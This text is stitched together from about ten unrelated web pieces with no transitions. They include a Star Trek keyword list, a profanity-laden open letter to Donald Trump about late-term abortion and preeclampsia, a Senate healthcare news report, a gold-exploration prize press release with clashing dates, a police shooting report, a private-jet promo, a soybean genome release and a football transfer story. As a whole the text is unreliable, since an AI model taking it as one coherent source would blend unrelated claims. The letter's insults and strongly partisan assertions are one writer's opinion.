47; aesthetics; anetrizine; assimilation; atom; autonomous regeneration sequencer; bio-synthetic gland; Borg alcove; Borg Collective; Borg drone; brain; brig; cell; cellular flux; circus; Class 2 shuttle; colliculus; color; communications node; cooking; cranial nerve; Delta Quadrant; Drexler outpost; dissection; esophageal tract; ethically obligated; eye; facial expression; fashion; Federation; Federation database; flight plan; Galactic Cluster 3; hair follicle; Hansen, Erin; Hansen, Magnus; immune system; insertion juncture; intruder alert; iris; Jefferies tube; kilometer; logic; master; medical tricorder; meditation lamp; microconnector; milligram; mind meld; motor cortex; nanoprobe; nervous system; neural shock; neurotransceiver; neurosequencer; ocular implant; Omega sector; omnicordial lifeform; onion; organelle; peeling; plasma relay; Raven, USS; red; respiratory system; security team; sedative; sequencer conduit; serotonin; soul; Species 259; Species 8472; surgical bay; Talaxian champagne; telekinesis; Tendara colony; toast; transmaterial energy plane; transwarp signature; trochlear nerve; unnamed nebula; Vulcan; Vulcan master;
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“If you go with what Hillary is saying, in the ninth month, you can take the baby and rip the baby out of the womb of the mother just prior to the birth of the baby.
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Now, you can say that that’s OK and Hillary can say that that’s OK. But it’s not OK with me, because based on what she’s saying, and based on where she’s going, and where she’s been, you can take the baby and rip the baby out of the womb in the ninth month on the final day. And that’s not acceptable.”
Listen, you f*****g idiot. What you described literally never happens.
If a baby is near full term and the mother is sick — say, like me, dying from a pregnancy related disease like preeclampsia—they deliver the f*****g baby alive if possible. In fact, if the baby is past viability, they will whisk it to the NICU once born and do their damnedest to save that baby’s life.
But here’s the thing: viability varies. Foetuses, you might be surprised to know, grow at different rates and are impacted by different things so “viability” is fluid and is not a one-size-fits-all determination of the likelihood of the baby surviving outside the womb. And sometimes babies are so sick they won’t survive—even in the ninth month of pregnancy. Even so, those babies are DELIVERED, not “ripped out”, you f*****g asshole.
Not that you’ll listen to me, you selfish opportunistic prick, because I’m extremely low on your personal p***y-grabbing scale being both old AND fat, but here’s my story, briefly.
I fought like hell to get pregnant. After our first IVF cycle, I was pregnant with twin boys. At a routine ultrasound appointment at 23 and a half weeks pregnant, we found out one of the twins had died. My doctor asked me to come from the ultrasound clinic to his office to chat once we learned this, and it was during that appointment that I was given three standard tests: I was weighed, my blood pressure was taken, and my urine tested for protein.
The results were terrible. My blood pressure was ridiculously high, I’d gained 18 pounds of fluid in just a week or so, and my urine dipstick actually turned black because there was so much protein being shed by my body. (Find out about the symptoms of preeclampsia here.)
It was preeclampsia, a disease that effects some 5 to 8 per cent of pregnancies. 76,000 women each year DIE from this disease. And guess what cures preeclampsia? Only one thing: ending the pregnancy.
Here’s the good news: in most cases, preeclampsia develops later in pregnancy, and most of those babies are saved. This is fantastic, although it’s also worth noting that preeclampsia is one of the leading causes of cerebral palsy.
Shape Created with Sketch. What did Donald Trump say during the third presidential debate? Show all 9 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. What did Donald Trump say during the third presidential debate? 1/9 Mr Trump denying claims from a number of women that he sexually assaulted them “This is all fiction, all fictionalised, probably or possibly started by her and her very sleazy campaign. I didn't even apologise to my wife who is sitting right here because I didn't even do anything” Getty 2/9 Mr Trump claiming the Russian leader had “no respect” for Mrs Clinton “She doesn't like Putin because Putin has outsmarted her every step of the way. He has no respect for her. He has no respect for our President." Getty 3/9 Mr Trump interrupting Mrs Clinton with one of his most scathing personal attacks yet as she explained her policy on social security “Such a nasty woman” Getty 4/9 Mr Trump claiming Mrs Clinton shouldn't have been allowed to run for presidency and that the election is rigged “She should never have been allowed to run. She’s guilty of a very very serious crime. She should not be allowed to run. And just in that respect, I say it’s rigged.” Getty 5/9 Mr Trump voicing his “pro-life” stance during the abortion debate “Based on what she's saying ... you can take the baby and rip the baby out of the womb in the ninth month, on the final day, and that's unacceptable” Getty 6/9 Mrs Clinton suggesting this is not the first time Mr Trump has claimed results against him have been rigged “There was even a time when Trump didn't get an Emmy for his TV programme three years in a row and he started tweeting that the Emmys were rigged” Getty 7/9 Mrs Clinton responding to Mr Trump's lewd comments about women “Donald thinks belittling women makes him bigger. He goes after their dignity and self-worth” Getty 8/9 Mrs Clinton implying Mr Trump is a “puppet” of Russian president Vladimir Putin “He'd rather have a puppet as president of the United States” Getty 9/9 Mrs Clinton comparing her political experience to Mr Trump's former television role “On the day I was in the situation room monitoring the raid that brought Osama Bin Laden to justice he was hosting the Celebrity Apprentice” Getty 1/9 Mr Trump denying claims from a number of women that he sexually assaulted them “This is all fiction, all fictionalised, probably or possibly started by her and her very sleazy campaign. I didn't even apologise to my wife who is sitting right here because I didn't even do anything” Getty 2/9 Mr Trump claiming the Russian leader had “no respect” for Mrs Clinton “She doesn't like Putin because Putin has outsmarted her every step of the way. He has no respect for her. He has no respect for our President." Getty 3/9 Mr Trump interrupting Mrs Clinton with one of his most scathing personal attacks yet as she explained her policy on social security “Such a nasty woman” Getty 4/9 Mr Trump claiming Mrs Clinton shouldn't have been allowed to run for presidency and that the election is rigged “She should never have been allowed to run. She’s guilty of a very very serious crime. She should not be allowed to run. And just in that respect, I say it’s rigged.” Getty 5/9 Mr Trump voicing his “pro-life” stance during the abortion debate “Based on what she's saying ... you can take the baby and rip the baby out of the womb in the ninth month, on the final day, and that's unacceptable” Getty 6/9 Mrs Clinton suggesting this is not the first time Mr Trump has claimed results against him have been rigged “There was even a time when Trump didn't get an Emmy for his TV programme three years in a row and he started tweeting that the Emmys were rigged” Getty 7/9 Mrs Clinton responding to Mr Trump's lewd comments about women “Donald thinks belittling women makes him bigger. He goes after their dignity and self-worth” Getty 8/9 Mrs Clinton implying Mr Trump is a “puppet” of Russian president Vladimir Putin “He'd rather have a puppet as president of the United States” Getty 9/9 Mrs Clinton comparing her political experience to Mr Trump's former television role “On the day I was in the situation room monitoring the raid that brought Osama Bin Laden to justice he was hosting the Celebrity Apprentice” Getty
But that’s not what happened to me.
Once I was admitted to the hospital, I started getting sicker. I started vomiting. My blood pressure soared. My head hurt so badly I thought it would kill me. I stopped producing urine as my organs began to shut down. I was moments away from seizures, comas, and death — yes, motherf****r, DEATH—when a team of doctors surrounded my bed and told me I had to terminate the pregnancy or my surviving son and I would BOTH die.
Let me make this very, very clear: this was the worst f*****g day of my life. It was absolutely wrenching, devastating, and horrid. My husband and I sobbed after we received the news.
We wanted those babies more than anything.
(Another note: if you tell me that the doctors lied to me and my surviving twin was far enough along to go to the NICU, go back and read what I said about viability. Because of the nature of my disease, my surviving twin was tiny and near death. He would not have lived. So spare me your “prolife” bulls**t links and faux kindness, m’kay?)
And my doctor—who happened to be only one of TWO doctors in the Philadelphia area who knew how do the procedure that would save my life—said it was also the worst day of his professional career. It sucked. For all of us. So f*****g much.
Donald, what you described literally never happens. EVER. Nope, not once. Not ever. In EVERY SINGLE CASE of pregnancy termination done in the final trimester of pregnancy it is because the mother is dying or the baby’s condition is incompatible with life.
Do you understand? Oh, why the f**k did I even ask that? Of course you don’t. Because you live in an alternate universe while the rest of us are over here living in motherf*****g reality.
Asshole. F**k you, Trump. Just that. F**K YOU.
Cecily Kellogg writes regularly for Medium and you can read more of her articles here. This post was originally published on Medium and has been reposted with the author's permission
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The decision sets up a situation Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office | Center-right group says Green New Deal could cost trillion | Dire warnings from new climate studies MORE (R-Ky.) had long sought to avoid: a recess where his members will take hits over the healthcare fight and a July that might now be taken up by the healthcare debate.
The GOP leader put on a brave face after an emergency meeting at the White House with President Trump and his conference, telling reporters that his members just needed a little bit more time.
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“We made good progress,” he told reporters after the roughly hourlong meeting in the East Room.
“Everyone around the table is interested in getting to yes — is interested in getting an outcome,” he said. “Because we know the status quo is simply unacceptable, unsustainable and no action is just not an option.”
The optimistic tone belies skepticism within McConnell’s conference over whether a bill can win 50 Republican votes in the Senate.
Every move toward a centrist Republican risks losing a conservative, while concessions to the right could turn moderates away from the bill.
Three more Republicans — Sens. Rob Portman Robert (Rob) Jones PortmanAddressing repair backlog at national parks can give Congress a big win Texas senator introduces bill to produce coin honoring Bushes GOP Green New Deal stunt is a great deal for Democrats MORE (Ohio), Shelley Moore Capito Shelley Wellons Moore CapitoDems slam EPA plan for fighting drinking water contaminants GOP senator: Border deal is 'a very good compromise' Push to include contractor back pay in funding deal hits GOP roadblock MORE (W.Va.) and Jerry Moran Gerald (Jerry) MoranThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (Kan.) — said they opposed the current bill after the decision to delay it.
Sen. Susan Collins Susan Margaret CollinsHouse to push back at Trump on border Hillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration MORE (Maine), another GOP no vote, said she wasn’t sure the measure could be changed to win her over.
She said she has “so many fundamental problems with the bill that have been confirmed by the [Congressional Budget Office] report that it’s difficult for me to see how any tinkering is going to satisfy my fundamental and deep concerns about the impact of the bill.”
Multiple senators and aides said leadership wasn’t really negotiating with them this week. They said they hoped the extra time would leave room for compromise.
“I think most people are acceptant that this is a very difficult, complicated undertaking, and willing to, you know, allow time particularly for some of our colleagues who feel they need more time,” said Sen. John Thune John Randolph ThunePolls: Hiking estate tax less popular than taxing mega wealth, income Will Trump sign the border deal? Here's what we know Key GOP senator pitches Trump: Funding deal a 'down payment' on wall MORE (S.D.), the chamber’s No. 3 Republican.
Trump has been pushing for a win on healthcare but sounded a conciliatory note at the opening of the White House meeting.
“I think the Senate bill is going to be great,” he said. “This will be great if we get it done, and if we don’t get it done, it’s just going to be something that we’re not going to like and that’s OK and I understand that very well.”
After the meeting, Thune said his impression was that Trump “really wants us to get a deal.”
“I think he’s just very open to us finding — to take care of the people who are concerned about the changes to Medicaid and how we might be able to soften those, and then the conservatives that are interested in market reforms,” Thune said.
Portman, Capito and Collins are worried about the legislation’s cuts to Medicaid and how it might affect the opioid epidemic. Many people with opioid addiction now get healthcare through Medicaid.
A Congressional Budget Office analysis released Monday struck a blow against the Senate bill’s chances when it found that 22 million more people would be without insurance by 2026 under the Senate bill when compared to current law.
Capito and Portman had proposed a $45 billion fund for the opioid crisis to be spent over a decade. But the money included in the healthcare bill fell far short of this: just $2 billion for fiscal 2018.
And even if McConnell bolstered the fund, that probably wouldn’t be enough to secure Capito’s support, she indicated.
“More opioid funding would be very good and very beneficial, but the core for me is the Medicaid provision,” Capito said.
She added: “If you can’t access the treatment, it’s not going to do you any good.”
Yet moves to win over those senators could cause other opponents of the bill to dig in. Sen. Rand Paul Randal (Rand) Howard PaulThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (R-Ky.) has complained that the bill would result in new entitlements, while Sens. Ted Cruz Rafael (Ted) Edward CruzTrump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington Trump endorses Cornyn for reelection as O'Rourke mulls challenge MORE (Texas), Mike Lee Michael (Mike) Shumway LeePush to end U.S. support for Saudi war hits Senate setback The Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times MORE (Utah) and Ron Johnson Ronald (Ron) Harold JohnsonWhite House, GOP defend Trump emergency declaration GOP senator says Republicans didn't control Senate when they held majority GOP senator voices concern about Trump order, hasn't decided whether he'll back it MORE (Wis.) say it would not do enough to lower premiums, among other complaints.
The CBO found it would raise premiums for the next two years before they would fall in 2020.
Lee went so far as to call for a “rewrite” of the bill.
“We can rewrite our bill to bring down the price working families pay for health insurance — while still protecting Americans with pre-existing conditions,” he said in a statement.
But those conservative demands could alienate other Republicans, particularly a call to allow states to opt out of ObamaCare’s protections against people with pre-existing conditions being charged more due to their illness.
Leaders say they will try to make changes to the bill before the end of the week, giving time for the CBO to conduct a new analysis. After the meeting at the White House, McConnell told reporters his chamber would not take up the bill until “a couple of weeks after this week.”
Many senators praised the extra time, after what some viewed as a rushed process.
No news in regards to those three names has been announced by Bandai Namco, but the European branch of the company has trademarked the name “Ultimate Ninja Blazing”. The trademark listing hints at it being a mobile game:
Downloadable computer programs for mobile phones; computer programs; computer game programs; downloadable computer programs and additional data for computer games; computer programs and its additional data, all for consumer video game machines [downloadable]; electronic circuits, CD-ROMs or other memory media, all recorded with programs for hand-held game machines with liquid crystal displays; computer programs and its additional data, for hand-held game machines with liquid crystal displays [downloadable]; downloadable music or sound files through Internet or mobile phone communication; downloadable image or movie files through Internet or mobile phone communication; downloadable electronic publications. Providing images or movies through Internet or mobile phone communication; providing movies through the Internet; providing sound or music through Internet or mobile phone communication; providing games through Internet or mobile phone communication.
-- Robert Louis Stevenson
What gives a person's life meaning is unique to every individual. At one point or another, most of us find ourselves asking if we are truly living a life that is meaningful to us. In other words, are we really living the life we are meant to lead? Answering this one question involves asking many more. Are we directing our lives based on our wants, beliefs, and values? Do our choices represent the things that really matter to us? Are we the fully differentiated, unique beings we were born with the potential to be? How much are our pasts still influencing who we are today?
Human beings are incredibly adaptive creatures. We are born completely dependent on others to care for us and with brains that are far from having fully developed. In the course of our growing up, particularly very early in our lives, we adapt to the social environments we are born into in a manner to get our basic needs met, so we can survive. These factors result in our internalizing impressions from early caretakers about who we are, how to view others, and how the world works. We often take on the traits of our early caretakers, the good as well as the bad, as if they are our own. Their positive traits are naturally and harmoniously incorporated as a part of our real self. However, their negative traits and the hurtful attitudes they express during our painful interactions with them, act as an overlay on our personality. We refer to this negative aspect of our personality as the "anti-self."
Throughout our development, we form adaptations to cope or deal with pain and fears. Yet these adaptations, which initially served as survival mechanisms, later come to limit us. In addition, we often take on the value systems and beliefs of the family and culture we grew up in, or we rebel and form attitudes in opposition to these influences. Either way, it can prove difficult for us to be bold enough to develop our own personal beliefs and values and live according to them, thereby creating meaningful and fulfilling lives for ourselves that are not purely dictated by our past.
The question becomes how do we fully differentiate ourselves from our anti-self and become the unique individual we were born with the potential to be? How do we become our real self? My father, psychologist Dr. Robert Firestone, and I explain the steps in the process of differentiation in our new book, The Self Under Siege, which we wrote in collaboration with Joyce Catlett.
The first step in the process is to identify the "critical inner voices" you experience about yourself, others, and the world around you. This critical internal commentary often represents the views of our early caretakers. It can be valuable to reflect on the messages you received from their attitudes toward you, labels you were given in the family, and what each parent actually thought about you. Often, as adults, we are still experiencing our lives through the filter of these negative points of view.
Starting to identify and challenge these critical inner voices in the first step in the process of differentiating and seeing yourself and your life through your own eyes and not through a filter based on early programming. Challenging these views involves developing perspective and answering back to these voices from a more realistic, compassionate point of view toward yourself and others.
The second step of differentiation involves identifying negative traits of your early caretakers and seeing how you may be acting these traits out in your own life. Do you find yourself acting superior and looking down on others in a manner similar to how you saw your mother behaving? Do you find yourself, in a moment of frustration, yelling words at your child that your father yelled at you? Do you find yourself withdrawing from your romantic partner in a self-protective style similar to how your father was with your mother? Or do you find yourself acting without regard for another person's boundaries in a fashion reminiscent of your mother? These are all examples of common ways that negative traits of our early caretakers manifest as part of our personality. These patterns can also hurt the people in our lives and act to push them away.
It is important to admit to ourselves the ugly truth that we have been acting out behaviors that resemble the worst of our parents, often the very traits we liked least about them. The second step in the process of differentiation involves acknowledging these destructive behaviors in yourself and then making a concerted effort to resist acting out these styles of relating. By breaking these behavioral patterns, you are acting less like a replica of your parents and more like yourself and the person you want to be. In essence, these first two steps are breaking with your parents in the sense of needing them as parents. This does not imply not being close to your parents as people. It just means seeing them realistically and, more importantly, seeing yourself realistically, as an adult who no longer needs parents in the way you did as the dependent child you once were.
The third step in the differentiation process is to break with the defenses/ coping behaviors/ adaptations you made to survive in your childhood. These self-soothing mechanisms may initially have helped you, but they may now limit you in your life. Common examples of these behaviors are eating to push down emotions, buying yourself treats to make you feel better, keeping emotional distance from others to feel safer, taking care of yourself and not asking for what you want and need from others, doing things to try to please others in an attempt to get their love, having to be "perfect and the best" to feel worthwhile, and being demanding and intrusive to get what you "need" from others. All of these patterns of defense may have been adaptive in our families, but they no longer serve us as adults. In essence, they perpetuate our reliving our childhood throughout our adult lives.
The third step in differentiation involves identifying these defenses in yourself and rooting out behaviors that were once adaptive but are now limiting your life. Breaking these patterns will cause anxiety, but it's important to know that you can bear it. You may have to stop self-soothing behavior patterns or take chances by acting in unfamiliar ways. This step essentially means saying goodbye to your child self, no longer viewing the world through a child's eyes, and seeing yourself as a competent adult, who can go after the things you want and get your needs met. It means no longer having to be self-protective, or to avoid feelings for fear they would be overwhelming. It means recognizing that you are now an independent adult who has little to fear from others and who can tolerate strong emotions.
The fourth step in differentiation involves developing your own moral compass, value system, and meaning in your life. What are your real beliefs and values? Are you living according to those values and with integrity? Are you pursuing the things that light you up and really matter to you? Asking yourself these questions and answering them honestly is the beginning of this process. Do your actions match with your values? Do you admire the type of person you are?
In developing ourselves, it is important to look for role models, people we admire. We can emulate and take on traits we admire in others as our own. People we encounter and respect can help us identify behavior we want to adopt. This does not mean giving up our selves and becoming another person. It is simply a part of developing ourselves and evolving into the person we want to be. Pursuing the activities, people, and lifestyles that light us up, that make us feel more in touch with ourselves, is another aspect of this process. Having transcendent goals beyond our own limited self-interest creates a sense of meaning in our lives. Kindness, generosity, and compassion toward others are fundamental for creating a meaningful life. When we act on these principles, allowing our actions to be guided by them, we feel good about ourselves and fulfilled in our lives.
Undertaking the project of differentiation of self takes concerted effort, and it is a continually evolving process that can be arduous at times. But what other endeavor could be as valuable and worthwhile, both for yourself and for those you love? Becoming more fully the unique individual you have the potential to be is worth the effort. When we engage in this process, we can begin to live our lives as opposed to reliving the lives of others or living out prescriptions of others. Most importantly, we can lead a life that is genuinely and uniquely meaningful to us.
Read More from Dr Lisa Firestone at PsychAlive.org
Learn more about the book The Self Under Siege.
Society of Economic Geologists joins as Research Partner
Winners to be announced at a “Shark Tank” style charity event in Toronto during PDAC in March 2016
Integra Gold Corp. (TSX-V: ICG, OTCQX: ICGQF) (“Integra” or the “Company”) and HeroX today announced they have teamed up with Amazon Web Services (“AWS” https://aws.amazon.com/ ) as the Data Hosting Partner for the Gold Rush Challenge. Amazon Web Services will provide cloud computing capabilities to the hundreds of participants in the challenge, where entrants will analyze large amounts of mining data to locate the next big gold discovery at Integra’s Sigma/Lamaque properties in Québec, Canada.
Officially opened to competitors today, the Gold Rush Challenge is an incentive prize challenge powered by the popular HeroX crowdsourcing platform. After registering for the competition, competitors from any background or location will be given access to an unprecedented database built from six terabytes and 75 years of historic mining and exploration data from Integra Gold’s formerly producing Sigma/Lamaque mines in Val-d’Or, Québec. For the purposes of this challenge, the size of the six terabyte “parent” database has been consolidated to roughly 25 GB, as a result of intensive data compilation and compression work conducted by a 12 person team from Innov-Explo Consulting during the last 3 months.
The individual or group whose submission represents the best prospect for the next big gold discovery on the Sigma/Lamaque properties, based on a weighted set of criteria as outlined in the challenge rules, wins their share of the C$1 million prize.
More than 750 competitors from more than 60 countries, from Australia to Zambia, have pre-registered for the Gold Rush Challenge. Today, they will receive access to the data to begin their analysis. Registrants from academia, geology, mining, engineering, data science and many other non-geoscientific disciplines have already signed up to analyze 75 years of drill holes, gold assays, underground workings and photos from the Sigma/Lamaque properties. Interested parties can register now by visiting www.herox.com/integragoldrush.
The Challenge winners will be announced following a “Shark Tank” like charity event for the finalists on Sunday, March 6, 2015, during the Prospectors and Developers Association of Canada (“PDAC”) conference held in Toronto. Additional details will be posted on the Company’s website as they become available.
AWS will host and facilitate access to the Gold Rush Challenge’s data. Gold Rush Challenge participants will also have free access to software giant Leapfrog’s 3D geological modelling technology, and geoscience technical support and challenge submission management from engineering firm WSP via partnership agreements with Integra Gold.
“We’re excited to announce a partnership with a digital data giant like Amazon Web Services to provide its cloud sharing technology to Gold Rush Challenge competitors,” said Integra Gold Chairman, George Salamis. “The services AWS is providing will allow competitors around the world to rapidly and securely access the data that will be analyzed as part of this unprecedented competition.”
“Great technology is at the heart of HeroX incentive prize challenges and we are very pleased that AWS is helping to make the Gold Rush Challenge such an interesting competition,” said Christian Cotichini, CEO of HeroX.
The Society of Economic Geologists (“SEG”) is also joining the Gold Rush Challenge as Research Partner. The SEG serves 7,000+ members worldwide who are committed to advancing the science and the discovery of mineral resources through research, publications, courses, and field trips. The SEG and its network of experts will provide competitors with, among other things, invaluable, free access to its wealth of past research on the Abitibi area geology and, specifically the Sigma/Lamaque properties.
“The Gold Rush Challenge exponentially expands our reach and access to quality people and ideas through the use of ‘online prospectors’, all the while allowing our team to remain focused on advancing high potential deposits such as the Triangle Zone,” said Integra Gold CEO Stephen de Jong. “We expect cutting-edge, innovative ideas to come not just from people in the mining and exploration industry but from anyone interested in or skilled at analyzing big data.”
To view an animated video summarizing the Integra Gold Rush Challenge, please visit:
www.vimeo.com/131487265
Gold Rush Challenge Timeline
Sept. 16, 2015, official launch;
Dec. 1, 2015, first round submissions due;
Jan. 15, 2016, top 20 finalists announced;
Feb. 15, 2016, top five finalists announced;
PDAC 2016, winners awarded.
Prize Structure
1 st Place – $500,000
Place – $500,000 2 nd Place – $150,000
Place – $150,000 3 rd Place – $80,000
Place – $80,000 4 th – 5 th Place – $50,000
– 5 Place – $50,000 6 th – 20 th Place – $10,000
– 20 Place – $10,000 Additional award for top non-finalist (non top 5) academic finisher – $20,000
For more details please visit the Gold Rush Challenge website and download the complete set of challenge rules and submission requirements.
About Integra Gold Corp. www.integragold.com
Integra's Lamaque South Gold Project and Sigma-Lamaque Mill and Mine Complex are located directly east from the city of Val-d'Or along the prolific Abitibi Greenstone belt in the Province of Québec, Canada, approximately 550 km northwest of Montréal. Québec is rated one of the best mining jurisdictions in the world. Infrastructure, human resources and mining expertise are readily available.
The Company's primary focus is on advance stage exploration, including upcoming underground exploration, at its Lamaque South project. The primary targets are the Parallel Zone in the North Cluster and the Triangle Zone and No. 4 Plug in the South Cluster. The recently acquired Sigma Mill, located 1 km from the Parallel Zone and 3 km from the Triangle Zone, is a fully-permitted, 2,200 ton per day mill and tailings facility.
Twitter:@integragoldrush
Facebook: https://www.facebook.com/IntegraGoldRush
About HeroX www.herox.com
Founded in 2013, HeroX exists at the intersection of crowdsourcing, competition and collaboration, using each to drive positive change. A suite of tools and services to help spark and build awareness for new solutions to social and economic challenges, the HeroX incentive prize platform connects funding companies and individuals with problem solvers.
Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this news release.
The shooting happened Saturday after Rocklin dispatchers received a 911 call at 10 a.m. of a residential burglary in progress in the 900 block of Bradford Place, according to a news release. The department identified Lorenzo Antoine Cruz, 23, of Sacramento as the suspect.
The family’s lawyer, Kellan Patterson, described Cruz as a former honor roll student who loved to play soccer and lived in the Sacramento region for most of his life.
A GoFundMe page started for Cruz’s memorial services said he left behind four brothers and four sisters. Cruz graduated from high school with honors, receiving two awards of achievement: one from a group that honors African American student excellence and another from the Livermore Valley school district, it said.
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“Lorenzo then enrolled in Job Corps to follow in his older brother’s footsteps of being a construction worker,” the fundraising page said. “His last few months on earth he was doing all he can to help his sick mother who suffered a light stroke recently.”
Patterson, the family’s attorney, said: “The family is skeptical about the situation mainly because if you have a policy and these officers are trained to turn on their body camera, and all three failed … it kind of gives you pause.”
Rocklin Police Department spokesman Lt. Scott Horrillo confirmed that the three officers – identified as Chris Osborne, John Constable and Breanna Adams – were wearing body cameras but did not activate the devices prior to arriving on scene.
“They actually turned them on right after the incident,” Horrillo said. “So it was on for part of the incident but not the entire portion.”
Saturday’s officer-involved shooting began when residents of a home on Bradford Place reported hearing pounding on the back of their sliding glass door and a window breaking. Cruz allegedly had broken a window in the laundry room and entered the house, police said.
The homeowner confronted Cruz, who fled to a neighboring house where he attempted to open a gate and hop over a fence, police said.
He was shot after getting into a parked silver Honda at another home. One officer approached the driver-side window and saw the suspect pointing a gun at him, police said. Two other officers also saw the pointed gun. All three officers, fearing for their lives, shot at Cruz, the department said.
Investigators later determined the gun was an airsoft pellet pistol with its orange tip – meant to show it wasn’t a real firearm – painted over.
The Rocklin Police Department’s body-worn camera policy directs officers to turn on the cameras in several instances, including any time officers make a stop or when an officer “reasonably believes they will make an arrest or detention.”
Use of force and vehicle or foot pursuits are also listed in the department directive.
Horrillo said an investigation into the incident, including whether the police officers followed proper department protocol, was still underway. The Placer County District Attorney’s Office will conduct its own investigation into the shooting.
Other footage, such as video captured by in-car cameras, may also exist, Horrillo said. The three officers involved remained on paid administrative leave Friday.
“We’re doing our best to be as transparent and forthcoming as we can,” the police spokesman said. “It’s a difficult time for everyone involved.”
Cruz’s family is planning a private memorial service, Patterson said.
We’ve long been involved with the marketing and branding end of the private aviation industry, and we know how stale the experience can be for consumers. With that being said, in comes JetSmarter to shake up the industry and provide a bespoke buying experience unlike anything else on the market.
While I could have written a case study on how to do branding properly with JetSmarter alone, we’ll focus on covering how it works in this post. I will, however, be reaching out to their team to try and get them slotted in for an interview hopefully soon… So if you’re reading this, please do look for my email.
Travelling by private jet is a pretty unique and luxurious experience, and their website and app UX certainly prioritizes that as their message. This is extremely important not only for encouraging customers to buy private flights, but for making the customer feel secure in their purchase in terms of brand trust as well. Bear in mind that only five years ago, almost no one would have considered booking a private jet by phone, but here we are now and boy oh boy have the times changed!
The JetSmarter Revolution
With over 70,000 users via their mobile app, JetSmarter are setting themselves up to be one of the biggest players in the industry and I can’t wait to give it a go. With your membership you get access to over 5,000 private jets worldwide and a modern pricing structure to boot. There are no broker fees per sale, although there is a $4,900 annual membership fee.
The membership also provides you with access to their concierge service, access to exclusive events, and a 24K gold membership card among the perks. What I think will also be a big hit is their “EMPTY-LEG Auction” which apparently can save you up to 70%. Even the affluent love a good deal!
If you’d like to learn more about JetSmarter, you can reach out to them via the information below. You can also download the iPhone App as well as the Android App to start playing around with JetSmarter within minutes. I’d also love to hear some feedback from JetSmarter users as to how they’re liking the experience so far.
Visit Online: JetSmarter.com
Like On Facebook: /SmartJets
Follow On Twitter: @SmartJets
Adding to the difficulty, Jackson said many of the duplicated genes in the soybean genome have been shuffled, making it hard to predict where the duplicate copies of a gene might be. This complicates the genetics and breeding of soybeans.
"If I'm selecting for a gene, I may have difficulty in locating all the necessary duplicates of that gene," said Jackson, corresponding author on the soybean genome paper that was published Wednesday (Jan. 13) on the cover of the journal Nature. "It has a lot of backup copies."
Despite the difficulties the soybean genome presents, having a sequenced genome does speed up the work scientists are able to do to improve the plant's characteristics. Genome sequencing eliminates the need for meticulous searches for particular genes.
"It really is going to change the way we ask questions about soybeans in research," said Randy Shoemaker, a research geneticist from the U.S. Department of Agriculture's Agricultural Research Service at Iowa State University and the paper's co-author. "What used to take us literally years can take us weeks or months now. This is the entire genetic code in front of you."
Jianxin Ma, an assistant professor of agronomy at Purdue and paper co-author, said the largest proportion of the soybean genome is composed of transposable elements, or TEs, which are often referred to as 'genomic junks'. However, some are important, Ma said.
Bursts of activity from these TEs, as well as their enormous presence, inevitably have an impact on the functionality of genes. The team's annotation of a nearly complete set of TEs in the sequenced genome led to another discovery regarding how TEs thrive in the host genome, which will be published in the journal The Plant Cell on Friday (Jan. 15).
"Although TEs are ubiquitous, what we discovered has not been seen in any other organisms yet," Ma said. "We found that some 'dead' TEs can actually be revivified by swapping with their active TE partners, and thus restore or even enhance their ability to proliferate using the amplification machinery encoded by their partners."
Having the genome in hand will allow scientists to compare different varieties of soybean plants and determine which genes are responsible for different characteristics, such as increased oil content or larger plants. One of the next steps in the research is to resequence the 20,000 soybean lines in the U.S. germplasm collection to find genes not common to all soybean cultivars.
"When soybeans were domesticated, they were selected for seed size and other traits, but there were a lot of potentially valuable genes left behind," Jackson said. "There may be valuable genes associated with protein content or disease resistance."
The United Soybean Board, National Science Foundation, USDA and Department of Energy funded the research.
Contact: Scott Jackson
sjackson@purdue.edu
The Brazilian star, who won the World Cup in 2002 and the Champions League with Barcelona in 2006, is due to send his brother Roberto, who acts as his agent, to Australia this month to hold talks with potential suitors in the Australian league.
The Daily Telegraph understands a stint in the A-League is a very realistic prospect for the 36-year-old, who was twice voted FIFA World Player of the Year.
He has lit up exhibition games in recent weeks with his apparently still prodigious levels of skill.
Ronaldinho celebrates scoring one of his many goals for Brazil. Source: AP
Sydney FC are likely to be among those drawn like moths to a flame to a player whose outrageous talents have often been rivalled only by his equally world-class ability to party.
The race is hotting up in the A-League for marquees, especially after the decision by Football Federation Australia to allow a third player to have that status for at least a season as a guest player.
Though Ronaldinho is unlikely to demand the $4 million annual package that Alessandro Del Piero was paid, his would still be a multimillion-dollar contract for whichever club took the plunge.
With Tim Cahill on the verge of finalising a crowd-pleasing move to Melbourne City, the prospect of adding Ronaldinho to next season’s competition would revolutionise perceptions of the A-League, beyond even what Del Piero was able to effect.
Could we see Tim Cahill and Ronaldinho in the A-League? Source: Getty Images
For some months, a Sydney-based agent and Ronaldinho’s brother have been liaising over holding talks with A-League clubs, with discussions intensifying since FFA made clear that it wanted clubs to seek out marquees with box-office appeal - and would help to finance them.
Ronaldinho has been playing across the globe in a succession of exhibition matches, including one at Old Trafford for the benefit of Socceraid in a team coached by Claudio Ranieri, fresh from winning the EPL with Leicester City.
Only this week he played 70 minutes for Peruvian side Cienciano as a guest star, producing a “no-look” 25m pass to set up a goal for teammate Enzo Castillo.
The last competitive club Ronaldinho played for was Fluminense in Brazil in 2015, when he made only seven appearances.
Ronaldinho’s stunning career has seen him for clubs all over the world. Source: AAP
Though concerns are certain to be raised over his likely fitness, sources involved in the exhibition game in Manchester suggested his talent remains in abundance, and that achieving requisite levels of fitness would take a month.
With A-League teams only now returning to full pre-season training, that leaves ample times for him to be ready for the October start of the competition.
